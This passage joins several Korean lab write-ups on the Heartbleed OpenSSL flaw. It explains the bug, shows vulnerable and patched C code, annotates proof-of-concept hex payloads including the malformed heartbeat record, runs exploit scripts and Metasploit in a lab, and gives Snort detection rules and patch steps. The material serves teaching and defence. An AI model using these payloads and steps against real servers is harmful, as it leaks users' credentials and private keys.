2.Jared Stafford, OpenSSL TLS Heartbeat Extension – Memory Disclosure, www.exploit-db.com/exploits/32745/ (2016. 04. 01)
Security Analysis :: 하트블리드 공격
1. 하트블리드 취약점 개요
하트 블리드 취약점은 2014년 4월에 발견된 OpenSSL 소프트웨어 버그다. CVE-2014-0160이며 이 취약점은 사용자나 관리자의 아이디, 패스워드, SSL 비밀키 등을 노출하게 하는 매우 위험한 취약점으로 판명됐다. OpenSSL 1.0.1 이후 ‘하트비트’라는 세션 연결을 확인하는 방법을 제공하지만 전달되는 값의 길이가 검증되지 않아 버퍼 오버플로우가 발생한다. 이 결함은 최대 64KB의 응용 프로그램 메모리 내용을 요청할 수 있다. 서버의 메모리 정보를 평문으로 볼 수 있어 지속적으로 공격해 정보들을 합치면 아이디, 패스워드, 기타 개인 정보 노출이 가능해진다.
<사진 출저 : blog.alyac.co.kr>
[그림 1-1] 하트블리드 시나리오하트블리드 시나리오를 보면 클라이언트는 의도적으로 거짓 정보를 서버에게 전달해 오류를 발생시킨다. 서버측은 클라이언트에서 받은 거짓 정보를 검증 하지 않고 클라이언트가 요청한 거짓 정보 값을 그대로 다시 응답한다. 예를 들면 “이것은 잘못된 정보입니다. 사용자의 ID 값은 Hello며 PW는 1234$ 입니다.”로 잘못된 정보를 포함해 또 다른 정보들을 클라이언트에게 전달하게 된다. 이러한 정보들이 합쳐져 아이디, 패스워드, 개인 정보 등과 같은 중요 정보들이 노출되게 된다.
2. 취약점 실습 환경 구성
사용 환경 OS 및 IP 주소 공격자 PC Kali-linux 2019.03 IP 주소: 192.168.171.188 웹 서버 Bee-box IP 주소: 192.168.171.187 희생자 PC Win-7 x.64 IP 주소: 192.168.171.185
3. 하트 블리드 취약점 스크립트 코드 시연
[그림 3-1] 하트 블리드 취약점Nginx 웹 서버가 취약한 버전의 OpenSSL을 사용하고 있다. 8443 포트로 공격 스크립트를 작동하라는 메시지가 출력되었다.
[그림 3-2] 명령어 입력위의 스크립트를 다운 받아 저장 후 실행한다. Python heartbleed.py [웹 서버 IP] | more 명령어를 입력하고 실행하면 공격 스크립트가 실행된다.
[그림 3-3] 8443 포트 접근희생자 PC에서 웹 서버의 8443 포트로 접근한 후 계정 정보로 로그인을 시도한다.
[그림 3-4] 계정 정보 노출로그인 시도 후 실행했던 공격 스크립트를 확인하면 메모리 단에 로그인했던 계정 정보가 평문으로 노출되어 있음을 확인할 수 있다.
[그림 3-5] 와이어 샤크 패킷 전송와이어샤크에서 ip.addr == [웹 서버 IP]로 필터링하고 패킷을 확인하면 하트블리드 공격에 의해 전송된 값을 볼 수 있고 입력 했던 계정 정보가 평문으로 노출되고 있음을 확인할 수 있다.
[그림 3-6] TCP Steam정상 SSL 통신에서 암호화되는 요청 패킷의 내용이 하트블리드 취약점에 의해 요청 패킷 내용이 평문으로 전송되고 있다.
4. 하트블리드 취약점 메타스플로잇 시연
[그림 4-1] 모듈 검색msfconsole 실행 후 search heartbleed 명령어로 하트블리드 관련 모듈을 확인한다. 하트블리드 취약점 시연을 위해 auxiiary/scanner/ssl/openssl_heartbleed 모듈을 사용한다.
[그림 4-2] 옵션 지정하트블리드 모듈을 실행하고 옵션을 지정한다. 지정 옵션들은 다음과 같다.
명령어 정의 set rhost [IP 주소] 공격대상 IP 지정 set rport [Port 주소] 공격대상 Port지정 set verbose true 로깅 출력 지정
[그림 4-3] 공격 수행옵션 지정 후 공격을 수행하면 스캔이 시작된다. 스캔이 되고 메모리 값이 노출되는데 웹 서버에서 로그인 했던 계정 정보가 평문으로 노출되고 있음을 확인할 수 있다.
5. 대응 방안
Open SSL 버전 업데이트, 비밀번호 이중 인증, 인증서 재발급, IPS 탐지룰 설정 등으로 방어한다. 사용하는 운영체제의 정식 페이지에서 Open SSL 업데이트 버전을 설치한 후 테스트 해보는 방법도 필요하다.
[CVE-2014-0160] OpenSSL 취약점 HeartBleed 실습 및 분석
반응형
[CVE-2014-0160] OpenSSL 취약점 HeartBleed 실습 및 분석※하트블리드(HeartBleed)는 2014년 4월에 발견된 오픈 소스 암호화 라이브러리인 OpenSSL의 소프트웨어 버그이다. 발표에
따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 이 공격으로 개인키, 세션 쿠키 및 암호를 훔칠 수 있
다고 하였다.
OpenSSL은 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 구현판이다. C언어로 작성되어 있는
중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어있다. 거의 모든 버전의 유닉스 계열 운영
체제 및 OpenVMS, 윈도우에서 사용할 수 있다.
하트블리드(HeartBleed)가 발생하는 부분은 전송 계층 보안(TLS) 및 데이터그램 전송 계층 보안(DLTS) 프로토콜의 하트비트에
서 발생한다.
하트비트는 2012년 2월 출판된 RFC 6520이 지정하여 제안된 표준이다. 이 하트비트의 기능은 매번 연결을 재협상하지
않아도 안전한 통신 연결을 테스트하고 유지시키는 방법을 제공한다. (좀 편하게 쓸려했더니 취약점이..)
간단히 말해 하트비트는 서버와 클라이언트 사이에 문제가 없는지, 안정적인 연결을 유지하기 위한 목적으로 일정 신호를 주
고 받을 때 사용하는 확장 규격이다.
하트비트는 2011년 뒤스부르크-에센 대학교의 박사과정을 밟던 학생인 로빈 세글먼이 OpenSSL의 하트비트 확장을 구현하였다.
세글먼 OpenSSL에 자신이 만든 결과물인 하트비트를 넣어달라는 요청을 보냈고, OpenSSL의 소속의 핵심 개발자중 한명인
스티븐 N.헨슨이 하트비트를 검토하기에 이르렀다. 헨슨은 세글먼의 구현체 안에 있던 버그를 알아채지 못했고,
취약한 코드가 OpenSSL의 소스 코드 저장소에 2011년 12월 31일에 들어가게 되었다. 이 취약점이 있는 코드는
2012년 3월 14일 OpenSSL 버전 1.0.1 출시와 더불어 널리 이용되었다. 하트비트 지원은 기본적으로 활성화되어 있고,
이에 따라 영향을 받는 버전들은 기본적으로 취약성에 노출되었다.
하트블리드의 영향을 받는 OpenSSL의 버전은 다음과 같다.
· OpenSSL 1.0.1 ~1.0.1f(inclusive)
· Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
· Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
· CentOS 6.5, OpenSSL 1.0.1e-15
· Fedora 18, OpenSSL 1.0.1e-4
· OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
· FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
· NetBSD 5.0.2 (OpenSSL 1.0.1e)
· OpenSUSE 12.2 (OpenSSL 1.0.1c)
※ CVE-2014-0160용 운영체제 패치가 설치되지 않은 경우, 라이브러리 버전은 변경되지 않는다. 우분투, 리눅스 민트와 같은
파생 계열을 아우르는 데비안, 또는 오븐수세나 FreeBSD, 레드햇 엔터프라이스 리눅스(CentOS, 아마존 리눅스등의 파생 계열
포함)가 이에 해당된다.
참고 : https://ko.wikipedia.org/wiki/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C
원리
[ 정상적인 요청과 반환 값 ] [ [Payload 길이 조작하여 정보유출 ]하트블리드의 취약점의 원리는 위와 같이 나타낼 수 있다. 비유를 하자면 정상적인 경우에
Client가 사과박스에 사과 하나를 넣고 하나를 넣었다는 정보와 함께 보내면 서버는 받아서 사과 한개를 받았다고 Client에게
응답합니다. 하지만 HeartBleed의 경우에는 Client가 사과 박스에 사과 하나를 넣고 열개를 넣었다는 정보와 함께 보내면
Server는 받아서 사과 1개를 확인하고, 나머지 9개를 자신이 가지고 있는 사과를 합하여 Client에게 보내게 됩니다.
나머지 9개의 사과에서 정보가 유출이 된다.
HeartBleed의 취약점은 한번에 최대 64KB의 정보를 요청할 수 있다. 실제로 64KB는 매우 작은 크기기 때문에 한번에 원하는
정보를 얻기는 힘들다. 따라서 여러번, 지속적으로 시도하여 여러개의 정보를 획득하고 조합하면 의미있는 정보를 얻게 될 수
있다. 이러한 과정을 통하여 공격자는 피해자의 컴퓨터에 저장되어 있는 정보들을 유출시킬 수 있다.
이 정보들에는 세션값, ID, PW, 쿠키등이 포함될 수 있다. 특히 개인키의 경우 암호화하여 전달되는 모든 데이터를
열 수 있기때문에 매우 심각할 수 있다.
참고 : http://blog.alyac.co.kr/76
실습
실습 환경은 다음과 같다.
OS : CentOS 6.5 minimal
Web Server : apache/2.2.15(Unix)
openSSL : OpenSSL 1.0.1e-fips 11 Feb 2013
XE : XE Core 1.7.3.4
공격자 : 윈도우
하트블리드 실습을 위해서 많은 OS를 깔았다 지웠다 했다 우분투 12.04.5, 우분투 12.04.3, 우분투 14.04등을 설치 하였는데,
OpenSSL version을 확인하였을 때, 분명 취약한 버전이었는데도 하트블리드의 취약점이 나오지 않았다.
마지막 시도로 CentOS 6.5에 설치되어있는 OpenSSL을 사용했더니 잘 되었다.
VMware를 사용하여 CentOS올리는 방법과 Apache, XE 설치하는 방법은 따로 기술하지 않겠다.
다만 VMware를 통해 CentOS를 올리고 나서 yum update등을 하지않고 그대로 apache를 설치하였고, XE는 Zip파일로
다운받아서 설치하였다.
OpenSSL 적용방법은 아래 블로그를 참고하였다.
http://egloos.zum.com/guswl47/v/6514311
위 블로그에서 6번에 hello.co.kr는 적용 안했는데도 잘 동작하였다.
OpenSSL 적용과 XE를 잘올렸다면 위와같이 나올 것이다.
Https입력했는데 안전하지 않음이 떠도 실습해볼 수 있다. 오른쪽에 세션값인 pig4~가 있는것을 확인 할 수 있다.
heartbleed POC코드나 익스플로잇코드를 실행시키면 위와 같이 내용이 나오는 것을 확인할 수 있으며,
PHPSESSID값도 나오고 일치하는 것까지 확인할 수 있다.
※ 바로 안나올 수 있다. 몇번 더 실행시키면 나올 것이다.
간단하게 Heartbleed이 되는 것을 실습해보았다.
더보기
공격 소스 분석
아래는 하트블리드 POC 소스코드중 일부이다.
hello = h2bin(”’ 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ”’)
16 : Handshake
03 02 : TLS version 1.1
00 dc : Length
첫 줄의 메시지는 SSL Handshake를 가르키면, 프로토콜버전과 길이를 정한다.
01 : HandShake
00 00 d8 : TLS version 1.1
03 02 : Length
이어서 어떤 타입의 HandShake인지 정의하고, 길이와 버전을 알려준다.
53 43 5b 90 : Timestamp
9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de : Random Bytes
유닉스 타임스탬프와 무작위로 생성된 28바이트 길이의 값이 들어가있다.
00 : Length of session id
세션 식별자의 길이에 대한 정보가 담겨있는 필드이다. 보통 브라우저가 최근 서버에 방문해 이전 세션을 이어가기 위해 Abbreviated Handshake를 할 때 사용한다고 한다.
00 66 : Length of cipher suites
c0 14 c0 0a c0 22 ~~~ 00 06 00 03 00 ff : Cipher suites
다음 클라이언트에서 지원하는 암호방식의 리스트 메시지에 대한 길이와 해당 메시지가 작성되어 있다. 각각의 암호 방식은 2바이트로 작성되어있다. 가장 앞에 등장한 c0 14는 암호방식 중 TLS_CE_DHE_RSA_WITH_AES_256_CBC_SHA를 의미한다.
01 : Length of compression methods
00 : Compression method NULL( ie no compression)
뒤에 나오는 필드는 압축에 관련되어있는 필드이다. 마찬가지로 압축 방법에 대한 필드의 길이와 압축 방법에 대한 정보에 대해 정의되어 있다. 여긴 00으로 압축 하지않는다.
00 49 : Length of TLS extensions
추가 확장에 관련된 정의. 다른 필드와 같이 길이에 대한 정의로 시작.
00 0b 00 04 03 00 01 02 : Eliptic curve point formats extension
00 0a 00 34 00 32 00 ….. 00 10 00 11 : Elliptic curve
그 중 첫 두가지의 확장 Elliptic-curve cipher에 관련하여 정의했다.
00 23 00 00 : TLS session ticket
그 다음 TLS 세션 티켓 확장 모듈을 지원한다는 것을 알려준다.
00 0f 00 01 01 : Heartbeat extension
TLS하트비트 확장을 지원한다는 것을 정의
여기까지가 Client Hello 메시지에 대한 내용이다. 서버에게서 Hello done 응답 메시지를 받으면 하트비트 요청 메시지를 작성하게 된다.
hbv11 = h2bin(”’ 18 03 02 00 03 01 40 00 ”’)
18 : TLS record is a heartbeat
03 02 : TLS version 1.1
첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알려준다.
00 03 : Length
01 : Heartbeat request
다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시한다.
40 00 : Payload length(16384bytes) // 16진수로 4000은 16384이다.
이 부분이 공격의 핵심이다. payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않는다.
기존에 설명했듯이 이 값에 의해 해당 바이트 만큼의 서버 메모리에 있는 정보를 응답으로 되돌려 받는다.
마지막으로 이 파이썬 코드에서는 되돌려받은 메시지를 헥사 덤프로 화면에 출력을 해주게 된다.
참고 : http://blog.yoko.so/entry/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C-%EA%B3%B5%EA%B2%A9%EA%B3%BC-%EB%B0%A9%EC%96%B4
OpenSSL 취약지점 분석
POC 코드에서는 Payload의 길이를 조작하여 공격하는 것을 알 수 있었다. 그렇다면 openssl의 소스코드에서 어떻게 동작해서
취약한지 확인해보자.
openssl-1.0.1e.zip
ssl > d1_both.c
dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;
* p = $s -> s3 -> rrec.data[0]
서버가 클라이언트에서 하트비트 요청을 받으면 위의 rrec.data라는 버퍼에 요청 메시지가 저장된다.
이 메시지 형식은 type필드 (1바이트) payload_length필드(2바이트), payload필드(payload_length바이트), padding필드(16바이트)로 정의된다. 응답 메시지도 똑같다.
hbtype = *p++;
이어서 요청 메시지의 type필드를 hbtype 변수에 저장
n2s(p,payload);
payload_length 필드를 payload 변수에 저장
pl = p;
payload 필드의 시작 주소를 pl 포인터에 저장
if (hbtype == TLS1_HB_REQUEST) { unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 byte * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload);
buffer = OPENSSL_malloc(1+2+payload+padding);
1(type필드의 길이) + 2 (payload_length필드의 길이) + payload(요청 메시지 payload_length필드의 값) + padding(16바이트)
를 buffer로 확보한다.
bp = buffer;
할당 받은 메모리의 처음 어드레스를 bp 포인터로 설정
*bp++ = TLS_HB_RESPONSE;
type 필드로 TLS1_HB_RESPONSE를 저장
s2n(payload,bp);
payload_length 필드로 payload 변수의 값( 요청 메시지 payload_length 필드의 값)을 삽입
memcpy(bp,pl,payload);
memcpy함수에서 pl포인터 (요청 메시지의 payload 필드)에서 payload변수의 값(요청 메시지 payload_length필드의 값)만큼 복사. 나머지는 패딩으로 16바이트 추가하고 응답 메시지를 회신
여전히 소스코드가 어려워 보이지만, 큰 문제는 없어보입니다만. 위의 POC코드와 취약점대로 payload 필드가 짧음에도 불구하고 payload_length필드에 큰 값을 넣는다고 가정해봅시다. 예를 들어 요청 메시지 payload_length필드가 1000바이트, payload필드가 hi(2바이트)이라고 가정하에 위의 소스코드대로 처리해보자.
dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;
payload 변수의 값은 1000바이트 pl 포인터에 “hi”의 시작 주소를 가르킴.
if (hbtype == TLS1_HB_REQUEST) { unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 byte * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); bp = buffer; *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload);
다음은 응답 데이터를 위한 메모리로 buffer에 1+ 2 + 1000 + 16이 확보된다.
bp = buffer;
할당받은 buffer의 처음 어드레스를 bp 포인터로 지정
s2n(payload,bp);
응답 메시지의 payload_length 필드에 1000이 포함
memcpy(bp,pl,payload);
memcpy()함수를 이용해 pl 포인터에서 1000바이트를 payload필드에 복사하고 pl 포인터가 가르키는 메모리는 “hi” 2바이트로 pl 포인터가 가르키는 2바이트를 제외한 998바이트가 통신과 관계없는 메모리의 정보가 포함된다.
※ 하트블리드의 취약점으로 정보가 유출되는 크기는 64KB라고 하였다. 여기서 그 이유를 알 수 있는데, payload_length필드는 2바이트이다. 2바이트는 최대 65535바이트를 지정할 수 있기때문에 최대 64KB까지 정보가 유출이 되는 것이다.
(2^16)
참고 : http://manseok.blogspot.kr/2014/04/openssl-heartbleed.html
취약버전 확인
그럴리는 없겠지만 자기자신의 Openssl이 취약한지 알아보는 방법이다.
# OpenSSL version
OpenSSL version을 확인하여 취약한 버전인지 확인.
# openssl s_client -connect IP:443 -tlsextdebug -debug -state | grep -i heartbeat
위의 명령어를 통하여 Heartbeat가 활성화 되어있는지 확인
Heartbeat가 활성화되어 있다면 heartbeat 문자열이 보임.
활성화되어 있지않다면 보이지않음.
소스코드 확인
/* ssl/d1_both.c */ dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;
위와 같이 따로 사용자 요청 메시지에 대한 길이를 검사하는 코드가 없을 경우
취약점 보안 방법 및 보안 패치 코드
openssl-1.0.2l.zip
/* ssl/d1_both.c */ int dtls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ if (s->msg_callback) s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT, &s->s3->rrec.data[0], s->s3->rrec.length, s, s->msg_callback_arg); /* Read type and payload length first */ if (1 + 2 + 16 > s->s3->rrec.length) return 0; /* silently discard */ if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH) return 0; /* silently discard per RFC 6520 sec. 4 */ hbtype = *p++; n2s(p, payload); if (1 + 2 + payload + 16 > s->s3->rrec.length) return 0; /* silently discard per RFC 6520 sec. 4 */ pl = p;
취약점이 패치된 소스코드를 보면 길이에 대한 검증값이 추가 된 것을 알 수 있다.
최신버전으로 업데이트
-(CentOS/Fedora)전체 시스템 업데이트
yum update
·OpenSSL 업데이트
sudo pacman -Syu
– (Ubuntu) 전체 시스템 업데이트
sudo apt-get update
sudo apt-get dist-upgrade
·OpenSSL 업데이트
sudo apt-get install –only-upgrade openssl
sudo apt-get install –only-upgrade libssl1.0.0
여러 사정때문에 업데이트가 어려운 경우, HeartBeat 옵션을 사용하지 않도록 컴파일 옵션을 설정해 재컴파일 가능
OpenSSL 소스코드를 처음 다운받아 컴파일하는 경우 라이브러리 의존성문제가 발생해 추가적인 작업이 발생할 수 있음.
./config -DOPENSSL_NO_HEARTBEATS
make depend
make
make install
서버측 SSL 비밀키가 유출되었을 가능성이 있기때문에 인증서를 재발급 받는 것을 추천
취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용하지 않도록 방지하는 것도 고려
참고 : [KISA] OpenSSL 취약점(HeartBleed) 대응 방안 권고.pdf
네트워크 패킷 및 Snort 탐지 Rule
공격 소스에 있던 hello 변수의 값이 보내진 것을 확인할 수 있다.
16 03 ~~~~
그리고 하트비트가 활성화된것을 확인했다면 길이값을 변조하여 패킷을 보낸다.
18 03 ~~
그리고 서버는 그 길이만큼 값을 클라이언트에게 노출이 되는 것을 확인할 수 있다.
Snort로 HeartBleed발생시 로그 남기기
KISA에서는 HeartBleed 취약점 탐지 Snort Rule을 아래와 같이 공지하고 있다.
alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:”|18 03 00|”; depth: 3; content:”|01|”; distance: 2; within: 1; content:!”|00|”; within: 1; msg: “SSLv3 Malicious Heartbleed Request V2”; sid: 1;) alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:”|18 03 01|”; depth: 3; content:”|01|”; distance: 2; within: 1; content:!”|00|”; within: 1; msg: “TLSv1 Malicious Heartbleed Request V2”; sid: 2;) alert tcp any any < > any [443,465,563,636,695,898,989,990,992,993,994,995,2083,2087,2096,2484,8443,8883,9091] (content:”|18 03 02|”; depth: 3; content:”|01|”; distance: 2; within: 1; content:!”|00|”; within: 1; msg: “TLSv1.1 Malicious Heartbleed Request V2”; sid: 3;)
Snort Rule을 보면 와이어샤크로 패킷을 보낼때의 값을 체크하여 alert하는 것을 확인할 수 있다.
위의 취약한 서버에서 Snort를 깔아서 Alert이 남는거까지 해보도록 한다.
※ Snort 설치 참고 : http://vmos.tistory.com/5
설치는 위의 블로그를 통하여 설치를 진행하며
snort에서 지원하는 룰셋을 다운받아 적용을 해도되나, KISA에서 권고한 룰만 가지고 알람이 오게 해보겠다.
local.rules에 위와같이 룰을 넣는다.
snort 실행
Heartbleed 공격시도
snort 종료
/var/log/snort/alert 경로에
메시지를 포함하여 로그가 남은 것을 확인 할 수 있다.
참고 : [KISA] OpenSSL 취약점(HeartBleed) 대응 방안 권고.pdf
Snort 설치시
[KISA]_OpenSSL_취약점(HeartBleed)_대응_방안_권고.pdf반응형
SSL 취약점을 이용한 공격, Heart bleeds(하트블리드) 실습 (1)
728×90
SSL 취약점을 이용한 공격,
Heart bleeds(하트블리드) 실습
📍Open SSL 이란?
Open SSL을 다루기 전에, 먼저 SSL을 먼저알아보자.
SSL이란 Secure Socket Layer의 약자로,
월드 와이드 웹 브라우저와 웹 서버 간에 데이터를 안전하게 주고받기 위한 전송(4)계층 업계 표준 보안 프로토콜을 의미한다. TLS(과거 명칭, Transprot Layer Security) HTTP 통신을 암호화하는데 사용된다.
이 Open SSL은 웹브라우저와 서버 간의 통신을 암호화하는 오픈소스 라이브러리라고 보면 된다.
한 마디로 Openssl을 웹서버(Apache,Nginx)에서 자유롭게 사용할 수 있다.
Openssl은 2014년, Heart bleed 버그로 이슈화가 되었다.
📍Heart bleeds
이 버그를 발견한 핀란드 보안 업체 ‘코데노미콘’은 이를 대중에게 설명하기 위하여 Heartbleed.com이라는 홈페이지를 개설하고 피를 흘리는 심장과 함께 이 취약점의 이름을 하트블리드(Heartbleed)라고 명명하였다. 이 취약점이 이런 이름으로 칭해지게 된 계기와 취약점 분석, 그리고 방어 방법에 대한 설명을 담았다.
😈 Heart bleeds 공격원리
OpenSSL 1.0.1 버전부터 하트비트(Heartbeat)라는 이름의 확장 모듈이 추가되었는데, 이는 TLS(Transport Layer Security) / DTLS(Datagram Transport Layer Security) 프로토콜에서 매번 연결을 재협상하지 않아도 통신연결을 유지하게 해주는 확장 규격이다. 클라이언트가 하트비트를 요청하며 Payload와 해당 Payload의 길이를 보내면 서버 측에서는 하트비트 응답에 내용을 그대로 복사해 되돌려주며 연결을 확인한다. 다음 그림과 같다!
그림 1
위 그림과 같은 상황을 예시로 정리해보면,
먼저 클라이언트가 하트비트 요청으로 ‘HELLO’라는 문자의 Payload와 해당 Payload의 길이 5를 전송한다. 서버는 하트비트 요청 사항을 확인하고 하트비트에 클라이언트에서 온 ‘HELLO’라는 Payload와 Payload의 길이 5를 그대로 담아 응답한다. 이러한 일련의 과정을 주기적으로 반복하며 클라이언트와 서버 사이의 연결을 수립한다.
참고로 이 그림에서 하트비트 교환 중 Payload의 예시로 사용된 메시지 ‘HELLO’는, 단순히 이해하기 쉽도록 설명하기 위하여 표현된 임의의 메시지다. ‘HELLO’를 ‘당근’이라고 해도 똑같다.
아래는 위 예시의 실제 패킷이다.
6글자로 carrot 이라는 문자를 요청하고, 대답을 받는다.
6글자, carrot 이라는 문자를 요청 했다.
그리고 “carrot”이라는 응답이 왔다. 정상적이다. 자, 그럼 다음 그림을 보자.
아래 그림은 Payload 길이가 조작된 하트비트 메시지 교환이다.
그림 2
하트블리드는 여기서 하트비트 요청 메시지에 포함된 Payload와 Payload의 길이 부분 사이의 일치성을 확인하지 않는다는 점에서 발생하는 보안 이슈이다.
서버에서 하트비트에 대한 응답을 할 때, 메모리에서 요청으로 들어온 Payload를
마찬가지로 요청으로 들어온 Payload의 길이 만큼 빼내어 되돌려준다.
여기서 Payload의 길이의 값을 실제 Payload보다 훨씬 크게 잡으면 메모리에서 Payload의 뒤에 적혀 있는 값을 길이 만큼 모두 응답 패킷에 담아 보내버리는 버그가 발생한다. 아래 그림은 이해를 돕기 위한 간단한 그림이다.
다시 그림 2의 예시를 참고로 다시 한 번 정리를 해보면,
클라이언트가 Payload를 ‘HELLO’, Payload의 길이를 25로 지정한 하트비트 메시지를 서버로 전송하였다.
서버는 이 하트비트 메시지를 메모리에 올려 확인한 다음 이에 대한 응답으로 길이가 25인 ‘HELLO’라는 메시지 응답을 한다.
하지만 ‘HELLO’는 5글자밖에 되지 않으므로 메모리의 ‘HELLO’를 초과하여,
뒤에 이어지는 값까지 모두 포함한 25글자 길이의 메시지를 전송해버린다.
다음 이미지는 아까의 carrot을 255글자로 대답하라는 요청을 보내고 돌아온 대답이다.
carrot 뒤에 추가적인 메모리 내용도 돌아왔다.
이러한 문제로 이 버그를 악용할 경우 메모리에 할당될 수 있는 아이디, 비밀번호, 사용자 개인 자료 등의 각종 정보가 외부로 노출될 수 있는 치명적인 취약점이 될 수 있다. 이 사태를 하트비트에서 발생한 보안 이슈를 이용하기 때문에 ‘하트블리드(Heartbleed, 심장출혈)’라는 명칭으로 불리게 되었다.
📍실습 환경
📍CentOS 6.5 취약 환경 세팅
1. 네크워크 설정
dfclient
2. 다음을 터미널 창에 붙여넣기 후, 엔터 !
cat <<-'EOF' > /etc/yum.repos.d/CentOS-Base.repo [C6.10-base] name=CentOS-6.10 – Base baseurl=http://vault.centos.org/6.10/os/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=1 metadata_expire=never [C6.10-updates] name=CentOS-6.10 – Updates baseurl=http://vault.centos.org/6.10/updates/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=1 metadata_expire=never [C6.10-extras] name=CentOS-6.10 – Extras baseurl=http://vault.centos.org/6.10/extras/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=1 metadata_expire=never [C6.10-contrib] name=CentOS-6.10 – Contrib baseurl=http://vault.centos.org/6.10/contrib/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=0 metadata_expire=never [C6.10-centosplus] name=CentOS-6.10 – CentOSPlus baseurl=http://vault.centos.org/6.10/centosplus/$basearch/ gpgcheck=1 gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6 enabled=0 metadata_expire=never EOF
더 이상 CentOs6에 yum repository가 지원하지 않아서, 다른 레포지터리로 변경하는 작업.
해당 작업을 완료하면, 이제 yum을 사용할 수 있다.
yum install -y httpd httpd-tools mod_ssl
위 3가지를 설치하면, 자동으로 취약한 버전의 openssl이 설치된다.
설정:
우선 최상위 루트(어디든 상관 없음.)에 ssl 이라는 폴더를 생성하고, 다음 명령어를 입력한다.
다음은 https의 인증서 생성 명령어이다.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /ssl/webserver.key -out /ssl/webserver.crt
* -x509: 공개키 인증서와 인증 알고리즘 표준.
* -newkey rsa:2048 : 키 길이를 2048로, 암호 알고리즘 방식은 rsa로 된 키 생성.
그리고 다음과 같이 인증서 설정 해준다.
여기서 작성한 정보는 이렇게 인증서로 만들어진다.
이제 이 인증서를 우리 웹서버가 사용할 수 있게 설정해준다.
우선 방화벽이 우리가 생성한 인증서 파일을 차단해 버리기 때문에 방화벽을 끈다.
setenforce 0 //로컬 방화벽. 파일 검사하는 애 service iptables stop //네트워크 방화벽. 포트 차단.
그리고 다음과 같은 경로에 위치한 ssl.conf 파일을 수정한다.
vi /etc/httpd/conf.d/ssl.conf
105번, 112번 라인을 위와 같이 수정한다.
웹서버 설정이 완료되면, 웹서버를 재시작 한다.
service httpd restart
여기까지 세팅이 끝났고, 잘 되었는지 확인해본다.
netstat -anlp | grep :443
그럼 이제 kali 로 공격할 차례.
아래 사이트로 가서, 파이썬 파일을 다운로드 받는다.
https://www.exploit-db.com/exploits/32745
아래 명령어를 입력해도 된다.
